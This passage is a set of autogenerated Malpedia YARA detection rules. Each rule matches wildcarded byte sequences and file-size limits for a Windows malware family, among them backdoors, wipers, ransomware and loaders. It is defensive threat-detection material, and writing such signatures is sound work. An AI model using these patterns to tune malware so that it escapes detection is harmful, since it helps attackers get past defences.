		$sequence_2 = { 894c2430 89542428 488d15fd2c0100 e9???????? 4c896c2450 66c744245cff25 }
		$sequence_3 = { 488d0db5220100 e8???????? eb4a 4c896c2450 440fb74c2472 440fb7442470 }
		$sequence_4 = { 4c8d254c540100 488b0d???????? bf01000000 897c2460 }
		$sequence_5 = { 8bd6 81e200004000 747e 41ff4c2418 781e }
		$sequence_6 = { ffc9 7432 ffc9 0f85150a0000 814e0400000002 4180e304 }
		$sequence_7 = { e8???????? 0fb64732 ffc3 3bd8 72dd 4c21aea0000000 0fb74f18 }
		$sequence_8 = { 7418 0fbae119 730a f68424b800000008 7508 41be01000000 }
		$sequence_9 = { 0fb744247c 89442438 0fb74c247a 894c2430 0fb7542478 89542428 488d15652f0100 }
	condition:
		7 of them and filesize < 794624
}

rule MALPEDIA_Win_Clipog_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "40f61fa4-a638-5725-b8b6-91b34a21950a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.clipog"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.clipog_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "9ab729847c05f2fd79a1197d1bbe3eecdfb3d818a19100d3fd94f6d00b4e49b5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b4b18 6685c0 740c 488d1552e70100 }
		$sequence_1 = { 488d1552e70100 e9???????? 488d154ae70100 e9???????? b910000000 }
		$sequence_2 = { 760c 488d0d5fec0100 e8???????? 48397b18 730d 488bd7 }
		$sequence_3 = { 753b 488b41f8 483bc1 7338 482bc8 4883f908 7235 }
		$sequence_4 = { 4883f808 725d 48ffc0 488b4c2448 493bc4 7606 e8???????? }
		$sequence_5 = { 488bda 4c8d0d1fbc0000 8bf9 488d1586a10000 b906000000 4c8d0502bc0000 e8???????? }
		$sequence_6 = { 488b05???????? 4833c4 488985a0040000 4c8b95f8040000 488d0524160100 0f1000 }
		$sequence_7 = { 488d158ee80100 e9???????? b910000000 ff15???????? 488b4b18 }
		$sequence_8 = { e8???????? 90 4c8d0556ea0100 488bd0 }
		$sequence_9 = { 488d1599100200 488d0d9a100200 e8???????? 488bd8 488d4c2430 48837c244810 480f434c2430 }
	condition:
		7 of them and filesize < 372736
}

rule MALPEDIA_Win_Playwork_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "253bcdde-b9c7-5158-90ca-b4dcc36f9889"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.playwork"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.playwork_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "93e0526e64b6e0ff6fb1dc40df8f238384033948c1e004d69238a8eee94e726f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 85c0 59 8945f0 0f84d4010000 8d4df4 }
		$sequence_1 = { eb02 32db 8ac3 8acb c0e807 d0e1 }
		$sequence_2 = { 57 8d857ce9ffff 56 50 6800004004 8d4de0 ff7510 }
		$sequence_3 = { 8bd0 8d85e8afffff 50 8955ec ffd3 8b4dec }
		$sequence_4 = { 53 50 8d4510 6a08 50 57 ffd6 }
		$sequence_5 = { c1eb18 330c95344b3f00 8b55e0 8b349d34573f00 c1ea10 }
		$sequence_6 = { 50 8d85b8ebffff 68???????? 50 e8???????? 83c444 8d85b8ebffff }
		$sequence_7 = { e8???????? 8b45fc 83c40c 668b4008 50 ff15???????? 0fb7c0 }
		$sequence_8 = { a4 284405c8 40 83f822 7cf6 }
		$sequence_9 = { 8bce 8975e8 c1e918 8b3c8d34573f00 8b4de0 333c9534533f00 }
	condition:
		7 of them and filesize < 360448
}

rule MALPEDIA_Win_Coredn_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "07ee8205-8782-52d9-9a53-818875f21066"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.coredn_auto.yar#L1-L165"
		license_url = "N/A"
		logic_hash = "67a00f5807f423f86c2e11cef6a3e34c3be3d717b80668bf24ae3e2d19c2ab6b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 56 8d45fc 8bf1 50 e8???????? 85c0 }
		$sequence_1 = { 8b7508 ba04010000 2bf1 6690 }
		$sequence_2 = { 84c0 7415 8801 41 83ea01 }
		$sequence_3 = { 5e 8be5 5d c20400 85c9 7506 48 }
		$sequence_4 = { 8a1c06 84db 741c 8818 4a 40 83e901 }
		$sequence_5 = { 0f1f440000 3811 7408 41 83e801 75f6 eb04 }
		$sequence_6 = { 41 83ea01 75e7 8851ff b87a000780 5e }
		$sequence_7 = { 75ec 48 bf7a000780 8808 8bc7 5f 5b }
		$sequence_8 = { 85d2 7417 0fb73407 6685f6 740e }
		$sequence_9 = { d3c8 3305???????? 3905???????? 0f8594070000 }
		$sequence_10 = { 83e13f c1f806 6bc930 8b048508414100 }
		$sequence_11 = { 8b30 8bd6 c1fa06 8bc6 83e03f 6bc830 8b049508414100 }
		$sequence_12 = { eb57 53 8b1c85e8dd4000 56 6800080000 6a00 53 }
		$sequence_13 = { b802000000 833d????????00 0f85b00a0000 8d0d60104100 }
		$sequence_14 = { 8b0c8d08414100 c644112800 85f6 740c 56 }
	condition:
		7 of them and filesize < 270336
}

rule MALPEDIA_Win_Salgorea_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "24c723a2-add3-5c98-ac68-d74df04ec748"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.salgorea"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.salgorea_auto.yar#L1-L164"
		license_url = "N/A"
		logic_hash = "269f1f65813d46929a9206777195f8973f6aec01fe1e29b4790465e302c7f726"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 893424 57 a1???????? 33c5 50 }
		$sequence_1 = { 81e1ab000000 8b4c2414 f7d3 8b5c2418 53 9d }
		$sequence_2 = { 66b9ad00 66f7e1 2bcb 80ef1f 59 }
		$sequence_3 = { e8???????? 8b4510 2bfb 3bc7 0f8302000000 8bf8 3bf1 }
		$sequence_4 = { 53 52 8d9c10f47e0000 6699 66c1e303 f6d1 }
		$sequence_5 = { 8d6424fc 8d6424d0 9c 51 f6d1 9c }
		$sequence_6 = { 80e6ee f8 f6d1 52 40 f7d3 8b5c2404 }
		$sequence_7 = { 41 6681c1db00 8b4c2410 66c1e804 8b44240c }
		$sequence_8 = { a1???????? 8945cc 8d45cc 3930 }
		$sequence_9 = { 8d943a9979825a 8b7df4 c1c61e 33fe }
		$sequence_10 = { 8d9432dcbc1b8f 8b75fc 0b75f8 8b7dfc }
		$sequence_11 = { 8d943a9979825a 8b7df0 337dfc 8bf2 }
		$sequence_12 = { 8d942498030000 89542428 8b531c 894c2434 }
		$sequence_13 = { 8d942490000000 e8???????? 8b03 ff7030 }
		$sequence_14 = { 8d9432a1ebd96e 8b75e0 3375cc 8955ec }
		$sequence_15 = { 8d942490000000 e8???????? 85c0 7403 83cfff 8bc7 85ff }
	condition:
		7 of them and filesize < 2007040
}

rule MALPEDIA_Win_Olympic_Destroyer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4acd0027-92fe-500e-bf15-82d11cf7dd70"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.olympic_destroyer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.olympic_destroyer_auto.yar#L1-L227"
		license_url = "N/A"
		logic_hash = "04c4fa0edf97b10dccc92d5a353a5a44b42a7347836f6e32d55d1c64914c31af"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 56 33c0 89542414 57 }
		$sequence_1 = { 85c0 7453 8b44242c 8d4c2410 }
		$sequence_2 = { ffd7 85c0 0f848c000000 68???????? 8d85c0f9ffff 50 }
		$sequence_3 = { 8985d4f7ffff 8d8580f7ffff 56 50 89b5d8f7ffff }
		$sequence_4 = { 51 8bce 8b4004 894510 e8???????? 8b4d10 }
		$sequence_5 = { 51 8bcf 89442424 e8???????? 8b542424 }
		$sequence_6 = { 51 8bcb 8975c4 e8???????? 83c404 8945e4 }
		$sequence_7 = { 83e801 743e 83e805 756d 50 50 8b4104 }
		$sequence_8 = { 8945fc 53 56 8d45e8 33f6 50 8975e8 }
		$sequence_9 = { ff15???????? 85c0 0f88ac000000 6a00 }
		$sequence_10 = { 51 8bce 8d52ff e8???????? 83c408 85c0 0f851f040000 }
		$sequence_11 = { 51 8bce 8944244c 89bc2480000000 }
		$sequence_12 = { 3bc6 742a 0185f0efffff 8b85ecefffff }
		$sequence_13 = { a4 4a 40 00d0 4a 40 }
		$sequence_14 = { ff74241c ff15???????? 5f 33c0 5e 40 5b }
		$sequence_15 = { 0f8794020000 ff2485bc4b5500 51 8d542454 e8???????? 83c404 85c0 }
		$sequence_16 = { 8b6c2424 55 6a40 ff15???????? 89442418 85c0 }
		$sequence_17 = { 51 8bcb e8???????? 8a45dc }
		$sequence_18 = { 89442414 e8???????? 85c0 7415 8d4e08 }
		$sequence_19 = { 89442430 8b442444 89442434 751f }
		$sequence_20 = { 51 8bce e8???????? 6a00 68???????? }
		$sequence_21 = { 50 ffd7 85c0 747a ffb590f9ffff e8???????? eb5f }
		$sequence_22 = { 56 ff15???????? 6880ee3600 ff15???????? }
	condition:
		7 of them and filesize < 1392640
}

rule MALPEDIA_Win_Lazardoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "aeee5fb7-3124-5412-93e2-d397e0b6b5aa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lazardoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lazardoor_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "6155f61e925d37cd5ef1d71aad2d5b29beaeb971eaf97c299374ef05d14474a1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4883c024 8938 e8???????? 488d1d23ce0100 }
		$sequence_1 = { e8???????? ba50540000 488b0d???????? 4533c9 4533c0 ff15???????? }
		$sequence_2 = { 4803cf e8???????? 488b0e 41ffc6 4883c328 }
		$sequence_3 = { 4889442420 498bd4 ff15???????? 85c0 7506 ff15???????? 4533f6 }
		$sequence_4 = { 4c8bb424d0010000 488b8dc0000000 4833cc e8???????? 4881c4e8010000 415f 415d }
		$sequence_5 = { 488d45e8 48894de8 488945f0 488d155cde0000 }
		$sequence_6 = { 83c8ff f00fc103 83f801 7516 488d05a6470100 488b4c2430 483bc8 }
		$sequence_7 = { 7873 3b1d???????? 736b 488bc3 488bf3 48c1fe06 4c8d2dbe0f0100 }
		$sequence_8 = { 488d1517c4feff c1e803 89442450 8bc8 89442448 }
		$sequence_9 = { 488d15c2a20200 488bce ff15???????? 85c0 0f84f3000000 48c7c7ffffffff 488bc7 }
	condition:
		7 of them and filesize < 405504
}

rule MALPEDIA_Win_Freenki_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "67ab05f0-0092-5ff4-bb96-cc24a6a94dbc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.freenki_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "a02a6867fe9e948b2e235fe875697f9d977ad7f0e52b8303d46cef856d876490"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff75e4 ff15???????? 85c0 7920 8b45e4 50 8b08 }
		$sequence_1 = { 89b5e4edffff 33c0 c785c0edffff00000000 50 51 8d8dccedffff c785e0edffff07000000 }
		$sequence_2 = { 56 e8???????? 8b8d60ffffff 8bf8 8b45f0 83c404 8930 }
		$sequence_3 = { 8bf8 83c404 85ff 0f84e4000000 6804010000 57 }
		$sequence_4 = { 51 8d4dc0 c745e400000000 e8???????? c745fc00000000 }
		$sequence_5 = { 0fb78194f74100 8d4902 6689840deafbffff 6685c0 75e9 56 }
		$sequence_6 = { c745c000000000 c745c400000000 c745c800000000 ff15???????? 898554ffffff 57 85c0 }
		$sequence_7 = { 0bc8 51 53 e8???????? 8bd8 83c408 85db }
		$sequence_8 = { c3 56 57 53 ff75f4 ff75f8 }
		$sequence_9 = { 83c202 6685c0 75f5 2bd1 8d8df8deffff d1fa 03d2 }
	condition:
		7 of them and filesize < 327680
}

rule MALPEDIA_Win_Avast_Disabler_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "645a106b-f735-50ef-a098-7cdfe936ba27"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.avast_disabler"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.avast_disabler_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "d9bf9a929cf2cb5bcebd034c783b915e751fc8d18f9e66457ed913ca7fa968a1"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 8d85f0feffff 50 e8???????? 8b4c371c }
		$sequence_1 = { c20c00 3b0d???????? 7503 c20000 e9???????? 8bff }
		$sequence_2 = { e8???????? 8b4c371c 8d85f0feffff 2b4c3718 }
		$sequence_3 = { 8bf0 85f6 7815 8d45f8 50 e8???????? 8bf0 }
		$sequence_4 = { 41 83ef01 75f1 8b85ecfeffff 33c9 0fb7d0 33c0 }
		$sequence_5 = { 57 8945e4 33ff 8d45dc }
		$sequence_6 = { 8bf0 85f6 7826 6a04 59 }
		$sequence_7 = { 6a00 ff7508 8bf0 57 }
		$sequence_8 = { 6bf80e 668b450c 6639443712 7408 }
		$sequence_9 = { 6a00 ff7508 8bf0 57 e8???????? }
	condition:
		7 of them and filesize < 41984
}

rule MALPEDIA_Win_Broler_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1cf91de0-5126-5e8f-b11c-1d3db3402e61"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broler"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.broler_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "fcd117231e6be08bdf633689556086666ed79e35ac782c6838a07603ffb215e5"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 51 6a01 53 ff15???????? 8bf0 ff15???????? 3bf3 }
		$sequence_1 = { 68e9fd0000 ff15???????? 8bc6 c6043e00 8d5001 }
		$sequence_2 = { c785c0feffff0f000000 899dbcfeffff 889dacfeffff 39b5a4feffff }
		$sequence_3 = { 8bf0 8d45d4 3bc6 7461 837de810 720c 8b4dd4 }
		$sequence_4 = { 57 8d8da8feffff e8???????? 83c408 33c0 8a4c05f0 8888f8cd4100 }
		$sequence_5 = { 8b3d???????? 53 ffd7 56 ffd7 8d8d70fdffff }
		$sequence_6 = { b8???????? 8db554ffffff c78568ffffff0f000000 e8???????? 8d8570ffffff }
		$sequence_7 = { 8bdf c1fb18 c1f818 81e3ff000000 3283085a4100 8b5d0c }
		$sequence_8 = { 3299085a4100 c1fe08 81e6ff000000 8bca c1f908 88580d }
		$sequence_9 = { 83fb10 7305 8d5508 8bca 2bc6 83e819 50 }
	condition:
		7 of them and filesize < 275456
}

rule MALPEDIA_Win_Usbferry_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "099a1369-e001-5f55-b4f6-6858d99ec27a"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.usbferry"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.usbferry_auto.yar#L1-L163"
		license_url = "N/A"
		logic_hash = "a271aa110aa02149e584931e66f43eb3286c2529fb4319139aeea9b3438deb58"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 3c4c 750c 0fbec0 42 89442428 }
		$sequence_1 = { 83c40c c785b0f7ffff44000000 c785dcf7ffff01000000 33d2 }
		$sequence_2 = { ff5018 8bf0 83feff 7504 }
		$sequence_3 = { 33c5 8945fc c645f463 c645f56d }
		$sequence_4 = { 8b15???????? 8bcb ff7210 898214010000 }
		$sequence_5 = { 88441de0 8a0439 88441de1 83c302 }
		$sequence_6 = { 83c40c 8d85c4e9ffff 50 a1???????? ff90a4000000 }
		$sequence_7 = { e8???????? 8b459c 807b0c67 750c 85c0 }
		$sequence_8 = { 8981c8000000 8b09 e8???????? 8b0d???????? }
		$sequence_9 = { 8b45cc e9???????? 8b55e0 52 ff15???????? 837d1401 0f8583000000 }
		$sequence_10 = { 50 e8???????? 83c40c 8b4d08 51 8d55f4 }
		$sequence_11 = { 7547 6a04 8d4d1c 51 8b5514 52 }
		$sequence_12 = { 50 8d8db0f7ffff 51 6a00 6a00 6800000008 6a00 }
		$sequence_13 = { c645b45c c645b54d c645b669 c645b763 }
		$sequence_14 = { 83c009 eb4d 84db 0f94c0 83c00b eb43 }
		$sequence_15 = { c3 3b0d???????? f27502 f2c3 f2e960030000 55 }
	condition:
		7 of them and filesize < 638976
}

rule MALPEDIA_Win_Donex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a59c3405-5607-5fba-8e4b-94db509c7ebd"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.donex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.donex_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "34b4db6a7ff26120108a4a0b63d1aeaf3b7a5f8d055f37299085290aeaa32538"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b55c8 33f6 8bf8 0facd012 c1e70e 0bf0 c1ea12 }
		$sequence_1 = { 55 8bec 8b4508 53 bb01000000 85c0 7503 }
		$sequence_2 = { 894d18 c744b30400000000 3bce 72ae 8b4508 c1e602 56 }
		$sequence_3 = { 33c8 8b45f4 c1e808 0fb6c0 c1e108 0fb680488d4300 33c8 }
		$sequence_4 = { 03c2 894db0 8bd0 8945f4 c1cf02 8bcf c1c205 }
		$sequence_5 = { 8b5508 8b7a0c 8b7210 8b4a08 8b5214 }
		$sequence_6 = { 85ff 0f85d4030000 8b7de8 8d45c8 50 57 }
		$sequence_7 = { 33c9 83c408 668908 8b45ec 83f803 7405 83f804 }
		$sequence_8 = { c1e902 f3a5 8bca 83e103 f3a4 8b7df8 4f }
		$sequence_9 = { 740f 83fe09 740a 83fe0d 7405 83fe0a 751a }
	condition:
		7 of them and filesize < 505856
}

rule MALPEDIA_Win_Defray_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c67cc17c-f08c-53a6-ada6-8bb99660ec4c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.defray"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.defray_auto.yar#L1-L132"
		license_url = "N/A"
		logic_hash = "e0802b8bc0edda2578b1a81d41f729faf3574dbf8b45d2b645404d3734d8c95f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b86effffff 5e 8be5 5d c3 8d4102 8906 }
		$sequence_1 = { 8be5 5d c3 8b4d08 8d041e 5f 5e }
		$sequence_2 = { 0f84cf020000 83f8ff 0f84c6020000 6880000000 ffd6 50 }
		$sequence_3 = { 83c40c 83601000 8b4df0 68???????? 8d4918 e8???????? 8d45ec }
		$sequence_4 = { e8???????? f6450801 59 740d 68b8000000 56 }
		$sequence_5 = { 66a5 8dbdbefcffff be???????? ab ab ab ab }
		$sequence_6 = { 33c0 663b88f0724700 740d 83c002 83f814 72ef 33c0 }
		$sequence_7 = { 33ff 393d???????? 7e79 33db 6800001000 e8???????? 8bf0 }
		$sequence_8 = { a5 a5 66a5 8dbdbef6ffff be???????? ab ab }
		$sequence_9 = { 0fb7c7 894de8 884dd8 8d4dd8 6a08 8945d4 c745ec0f000000 }
	condition:
		7 of them and filesize < 1253376
}

rule MALPEDIA_Win_T34Loader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "e5720d10-2fbe-56e7-a983-268d042c48b1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.t34loader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.t34loader_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "ec0cde05ce06de31a82d86f3a54c045f2d69d36946c25715e1f108cf44d303ce"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7424 88542438 eb1e 4885c0 7505 4585ff 7414 }
		$sequence_1 = { e8???????? 488d542420 488bcb e8???????? 488bcb e8???????? 84c0 }
		$sequence_2 = { 743f 803d????????00 7436 48ffc0 4d8d1443 488b4587 48ffc0 }
		$sequence_3 = { e8???????? 488b5710 488bc8 4889542420 4c8bcb }
		$sequence_4 = { 418ac0 884708 488b542440 488bcf e8???????? 84c0 0f84e6feffff }
		$sequence_5 = { 4c8bc7 488d4c2430 488bd6 e8???????? 488d4c2430 e8???????? }
		$sequence_6 = { 0f845e010000 488b0f 33db 4885c9 7441 488b4138 483918 }
		$sequence_7 = { e8???????? 488bd0 488d4d20 e8???????? 488bd3 488d4d30 e8???????? }
		$sequence_8 = { 488d4138 41b806000000 488d15b1370200 483950f0 740c 488b10 4885d2 }
		$sequence_9 = { 5f 5e 5d c3 4c8d05d3b50200 498b14e8 8a44fa38 }
	condition:
		7 of them and filesize < 1212416
}

rule MALPEDIA_Win_Microbackdoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d034a3c6-ae16-5b99-83b8-8b1af34e1631"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.microbackdoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.microbackdoor_auto.yar#L1-L174"
		license_url = "N/A"
		logic_hash = "aab22f804c7581af6f351afbab65356d1b51594dabf7c74f24bb9a35b014fbaa"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c9 8d45f0 50 51 6a3a }
		$sequence_1 = { ffd7 eb06 ff15???????? 8bc6 eb06 }
		$sequence_2 = { eb42 0fb6442431 3c5a 7520 837c243400 7419 66837c243200 }
		$sequence_3 = { 488dac2410feffff 4881ecf0020000 8bd9 33c9 440fb7ea e8???????? }
		$sequence_4 = { 418bce 0fb7de ff15???????? 488d15ea390000 488d4c2450 4c8bc0 }
		$sequence_5 = { 66896c2420 ff15???????? 8bce 89742424 }
		$sequence_6 = { 59 56 ff15???????? eb06 ff15???????? 8b75f4 }
		$sequence_7 = { ff15???????? 488d0d01290000 eb68 488d542430 41b800010000 488bcb e8???????? }
		$sequence_8 = { 7412 488d0dfa700000 448bc0 488bd6 e8???????? 03df }
		$sequence_9 = { ff15???????? 85c0 0f8599feffff 8d4508 33db 50 }
		$sequence_10 = { eb57 4d03c9 498bd7 498bce 43ff54cd08 }
